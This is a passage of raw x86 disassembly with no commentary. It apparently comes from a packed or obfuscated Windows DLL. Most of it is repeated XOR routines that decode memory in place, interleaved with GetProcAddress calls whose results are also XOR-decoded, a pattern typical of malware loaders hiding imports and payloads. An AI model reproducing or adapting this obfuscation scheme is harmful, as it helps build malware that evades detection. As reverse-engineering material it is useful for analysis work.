xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4788]
add eax, 0x26148
xor eax, dword [ecx]
xor eax, 0xdccead84
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov eax, dword [0x1010536c]
lea edx, [ecx + 0xa3c4c]
add ecx, 0x27748
xor ecx, dword [edx]
or eax, 0x1a681600
xor ecx, edi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xc7a9]
mov dword [esp + 0x20], eax
add ecx, 0x28b30
xor ecx, dword [edx]
xor ecx, 0xdcce47fc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x3342c]
add ecx, 0x32fc4
xor ecx, dword [edx]
xor ecx, 0xdccfe308
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x50b7]
add ecx, 0x24a9c
xor ecx, dword [edx]
xor ecx, 0xdcce8650
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa46c4]
add ecx, 0x92bd8
xor ecx, dword [edx]
xor ecx, 0xdcc5e714
mov dword [edx], ecx
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104ac]
add eax, 0x20260
xor eax, dword [ecx]
xor eax, 0xdcceceac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c08]
add eax, 0x36ce0
xor eax, dword [ecx]
xor eax, 0xdccfa02c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2405c]
add eax, 0x23e68
xor eax, dword [ecx]
xor eax, 0xdccef2a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336f4]
add eax, 0xa4a94
xor eax, dword [ecx]
xor eax, 0xdcc68658
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4654]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c070]
add eax, 0xa554c
xor eax, dword [ecx]
xor eax, 0xdcc69980
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4754]
add eax, 0x97430
xor eax, dword [ecx]
xor eax, 0xdcc5b8fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334dc]
add eax, 0x334e0
xor eax, dword [ecx]
xor eax, 0xdccff82c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140cd]
add eax, 0xa5a8c
xor eax, dword [ecx]
xor eax, 0xdcc69640
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc429]
add eax, 0x288e0
xor eax, dword [ecx]
xor eax, 0xdcce442c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
mov edx, eax
and edx, ecx
add ecx, ecx
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x25ed0]
add eax, 0x51c0
mov dword [0x101062e0], edx
xor eax, dword [ecx]
push 0x10107b4a
xor eax, 0xdccc9d0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2164]
add eax, 0x24f98
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcce8354
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330d8]
add eax, 0x36ef0
xor eax, dword [ecx]
xor eax, 0xdccfa23c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x33210]
add eax, 0x36f88
xor eax, dword [ecx]
xor eax, 0xdccfa344
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c359]
add eax, 0xa4bfc
xor eax, dword [ecx]
xor eax, 0xdcc68730
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24054]
add eax, 0x23e70
xor eax, dword [ecx]
xor eax, 0xdccef2bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20264
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9d46
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25eb4]
add eax, 0x51c0
xor eax, dword [ecx]
xor eax, 0xdccc9d0c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
imul eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4652]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x96ef]
add eax, 0x27d9c
xor eax, dword [ecx]
xor eax, 0xdcceb150
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fc4]
add eax, 0x23f00
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x1f8
xor eax, 0xdccef3cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ea5c]
add eax, 0x34420
xor eax, dword [ecx]
xor eax, 0xdccf88ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c0d7]
add eax, 0xa5558
xor eax, dword [ecx]
xor eax, 0xdcc69994
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1244e]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa82f]
add eax, 0x20330
xor eax, dword [ecx]
xor eax, 0xdccecffc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18593]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3703c]
add eax, 0x321e8
xor eax, dword [ecx]
xor eax, 0xdccfed24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ea0]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2404c]
add eax, 0x23e78
xor eax, dword [ecx]
xor eax, 0xdccef2b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18b7c]
add eax, 0x20190
xor eax, dword [ecx]
xor eax, 0xdccecd5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18bf7]
add eax, 0xa4c00
xor eax, dword [ecx]
xor eax, 0xdcc680cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa212]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f34]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002a3df
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33748]
add eax, 0x32fa8
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x285
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf58d]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105368]
sub ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x48a9]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0e6]
add eax, 0xa52f8
xor eax, dword [ecx]
xor eax, 0xdcc69e34
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
imul eax, eax
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f10]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c805]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15c6d]
add eax, 0x36000
xor eax, dword [ecx]
xor eax, 0xdccfaccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33630]
add eax, 0x33710
xor eax, dword [ecx]
xor eax, 0xdccffbdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32df4]
add eax, 0x32e0c
xor eax, dword [ecx]
xor eax, 0xdccfe2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x59bb]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16956]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4050]
add eax, 0x26cb8
xor eax, dword [ecx]
xor eax, 0xdccea074
mov dword [ecx], eax
mov eax, dword [0x1010536c]
add dword [0x101062e4], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002a557
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3299c]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b2c]
add eax, 0x36008
xor eax, dword [ecx]
xor eax, 0xdccfacc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3445c]
add eax, 0x1ed60
xor eax, dword [ecx]
xor eax, 0xdccd21ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcec9]
add eax, 0x1f7be
xor eax, dword [ecx]
xor eax, 0xdccd3b72
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25854]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x344a4]
add eax, 0xa4bac
xor eax, dword [ecx]
xor eax, 0xdcc68760
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbb1c]
add eax, 0x25388
xor eax, dword [ecx]
xor eax, 0xdcce9f44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39d8]
add eax, 0x27820
xor eax, dword [ecx]
xor eax, 0xdcceb4ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb9ee]
add eax, 0x202b4
xor eax, dword [ecx]
xor eax, 0xdccece78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7d4b]
add eax, 0x27ae4
xor eax, dword [ecx]
xor eax, 0xdcceb628
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1687]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11d6c]
add eax, 0x323ec
xor eax, dword [ecx]
xor eax, 0xdccfef20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fd4]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x20]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x2357]
add eax, 0x20288
xor eax, dword [ecx]
push 0x10107c12
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10105368], eax
lea ecx, [eax + 0xa4c6]
add eax, 0x34078
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccf8cb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xdec4]
add eax, 0x2029c
xor eax, dword [ecx]
xor eax, 0xdccece50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bbba]
add eax, 0xa5544
xor eax, dword [ecx]
xor eax, 0xdcc69988
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14f3]
add eax, 0x1f6bb
xor eax, dword [ecx]
xor eax, 0xdccd3a77
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4a69]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17d16]
add eax, 0x231ec
xor eax, dword [ecx]
xor eax, 0xdccefd20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25498]
add eax, 0x34b0
xor eax, dword [ecx]
xor eax, 0xdcccf87c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
add dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34330]
add eax, 0x1f83e
xor eax, dword [ecx]
xor eax, 0xdccd34f2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa569]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41bc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xee1e]
add eax, 0x2905c
xor eax, dword [ecx]
xor eax, 0xdcce5c90
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20294
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, 0xdccecc78
xor ecx, 0xcccf9ec2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xae39]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x1010536c], eax
lea ecx, [eax + 0xa15f]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169d]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x101062e4]
sub eax, dword [0x1010536c]
mov ecx, dword [0x10103e64]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
add ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x1b08f]
add eax, 0xa5308
xor eax, dword [ecx]
xor eax, 0xdcc69fc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183c4]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10103e60]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x1ccad]
add eax, 0x1cd64
xor eax, dword [ecx]
xor eax, 0xdccd01a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8156]
add eax, 0x27b8c
xor eax, dword [ecx]
xor eax, 0xdcceb740
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bb8]
add eax, 0x27520
xor eax, dword [ecx]
xor eax, 0xdcceb9ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19f41]
add eax, 0x19fa0
xor eax, dword [ecx]
xor eax, 0xdccd536c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa33c]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45d8]
add eax, 0x27458
xor eax, dword [ecx]
xor eax, 0xdcceb894
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6847]
add eax, 0x20214
xor eax, dword [ecx]
push 0x10107a84
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, 0x20e71075
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x175a6]
add eax, 0xa4c10
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x101062e0]
and eax, 0xc2e53779
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3999]
add eax, 0x230b8
xor eax, dword [ecx]
xor eax, 0xdccefc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa73e]
add eax, 0xa8b18
xor eax, dword [ecx]
xor eax, 0xdcc647d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2536]
add eax, 0x202e4
xor eax, dword [ecx]
xor eax, 0xdccece28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c075]
add eax, 0xa554c
xor eax, dword [ecx]
xor eax, 0xdcc69980
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x28]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x1bb66]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b40]
add eax, 0x24938
xor eax, dword [ecx]
xor eax, 0xdcce85f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x364b8]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25448]
add eax, 0x2840
xor eax, dword [ecx]
xor eax, 0xdccce48c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201e8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ab8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33784]
add eax, 0x32fa8
xor eax, dword [ecx]
push 0x10107b35
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e47f]
add eax, 0xa8f30
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c01b]
add eax, 0xa5554
xor eax, dword [ecx]
xor eax, 0xdcc69998
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3990]
add eax, 0x27888
xor eax, dword [ecx]
xor eax, 0xdcceb444
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e21]
add eax, 0x20348
xor eax, dword [ecx]
xor eax, 0xdccecf84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11e0f]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2025c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9dac
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xff5e]
add eax, 0x32318
xor eax, dword [ecx]
xor eax, 0xdccfefd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a88]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbfeb]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ba1e]
add eax, 0x36964
xor eax, dword [ecx]
xor eax, 0xdccfa5a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193be]
add eax, 0xa90f0
xor eax, dword [ecx]
xor eax, 0xdcc65c3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193ce]
add eax, 0x20398
xor eax, dword [ecx]
xor eax, 0xdccecf54
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
push 0x10107d3d
push dword [esp + 0x28]
and ecx, 0x15d3e064
add eax, 0x202e8
mov dword [0x101062e0], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101078eb
xor ecx, 0xcccf9ebe
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb054]
add eax, 0xa5a14
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x101062e0]
add dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5646]
add eax, 0x20004
xor eax, dword [ecx]
xor eax, 0xdcceccc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34148]
add eax, 0x1f68e
xor eax, dword [ecx]
xor eax, 0xdccd3a42
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37038]
add eax, 0x3222c
xor eax, dword [ecx]
xor eax, 0xdccfeee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23a6]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18a9]
add eax, 0x24d2c
xor eax, dword [ecx]
xor eax, 0xdcce81e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb6df]
add eax, 0xb480
xor eax, dword [ecx]
xor eax, 0xdccc784c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0x4099e883
mov dword [0x10103e60], ecx
mov ecx, dword [esp + 0x1c]
and ecx, 0x27ea5609
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x159a0]
add eax, 0x14c78
xor eax, dword [ecx]
xor eax, 0xdccd80b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20180
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ac0
mov dword [eax], ecx
mov eax, dword [0x10107300]
push 0x10107732
add eax, 0x20118
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf811e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d189]
add eax, 0x36b84
xor eax, dword [ecx]
xor eax, 0xdccfa748
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa436c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa498c]
add eax, 0x2601c
xor eax, dword [ecx]
xor eax, 0xdcceacd0
mov dword [ecx], eax
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x10df2]
mov eax, ecx
imul eax, dword [0x101062e4]
add ecx, 0x27c88
xor ecx, dword [edx]
xor ecx, 0xdcceb044
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x15a9]
add ecx, 0x202d4
xor ecx, dword [edx]
xor ecx, 0xdccece18
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x36eb8]
add ecx, 0x231d8
xor ecx, dword [edx]
xor ecx, ebx
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1d153]
add ecx, 0x36b78
mov dword [0x10103e60], eax
xor ecx, dword [edx]
xor ecx, 0xdccfa7b4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
mov edx, ecx
or edx, eax
mov dword [esp + 0x18], edx
lea edx, [ecx + 0xb49c]
add ecx, 0x202e0
xor ecx, dword [edx]
xor ecx, 0xdccece2c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x29060]
add ecx, 0xf070
xor ecx, dword [edx]
xor ecx, 0xdccc3cbc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
xor ecx, dword [esp + 0x18]
mov edx, dword [0x10107300]
mov dword [0x101062e4], ecx
lea ecx, [edx + 0xb758]
add edx, 0x202c8
xor edx, dword [ecx]
xor edx, 0xdccece04
mov dword [ecx], edx
mov ecx, dword [esp + 0x14]
xor ecx, 0x5a10ca2b
mov dword [0x10105368], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32cb4]
add ecx, 0x32cf4
xor ecx, dword [edx]
push 0x10107c69
xor ecx, 0xdccfe038
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa0e7]
add ecx, 0xa5688
xor ecx, dword [edx]
push dword [esp + 0x28]
xor ecx, 0xdcc69a44
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x36af8]
add ecx, 0x249b8
xor ecx, dword [edx]
xor ecx, 0xdcce8574
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x36dd4]
add ecx, 0x231d8
xor ecx, dword [edx]
xor ecx, ebx
mov dword [edx], ecx
mov ecx, dword [0x101062e4]
xor ecx, 0xff8240a7
mov dword [esp + 0x20], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa41b4]
add ecx, 0x7d908
xor ecx, dword [edx]
xor dword [esp + 0x20], eax
xor ecx, 0xdccb15c4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x25b2]
add ecx, 0x202e4
xor ecx, dword [edx]
xor ecx, 0xdccece28
mov dword [edx], ecx
mov ecx, dword [0x10107300]
mov edx, ecx
xor edx, dword [0x10106ae8]
mov dword [0x10103e64], edx
lea edx, [ecx + 0x37144]
add ecx, 0x29a48
xor ecx, dword [edx]
xor ecx, 0xdcce5684
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xb3f9]
add ecx, 0x1f5ab
xor ecx, dword [edx]
xor ecx, 0xdccd3967
mov dword [edx], ecx
mov ecx, dword [0x1010536c]
imul ecx, eax
mov eax, dword [0x10107300]
add eax, 0x202ac
mov dword [0x10105abc], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c06
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16bba]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46c8]
add eax, 0x26270
xor eax, dword [ecx]
push 0x10107696
xor eax, 0xdcceaebc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105abc]
push ebp
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x29138]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1414e]
add eax, 0x202f8
xor eax, dword [ecx]
xor eax, 0xdccece34
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200ec
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf81ce
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b30]
add eax, 0x176d2
xor eax, dword [ecx]
xor eax, 0xdccdba1e
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c200]
add eax, 0x200ec
xor eax, dword [ecx]
xor eax, 0xdccecc20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3c8e]
add eax, 0x25728
xor eax, dword [ecx]
xor eax, 0xdcce9be4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25fac]
add eax, 0x33324
xor eax, dword [ecx]
xor eax, 0xdccfffe8
mov dword [ecx], eax
mov eax, dword [0x101062e0]
sub eax, dword [0x10105368]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7444]
add eax, 0x27a20
xor eax, dword [ecx]
xor eax, 0xdcceb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a38]
add eax, 0x13cc0
xor eax, dword [ecx]
xor eax, 0xdccdf00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46e4]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa415c]
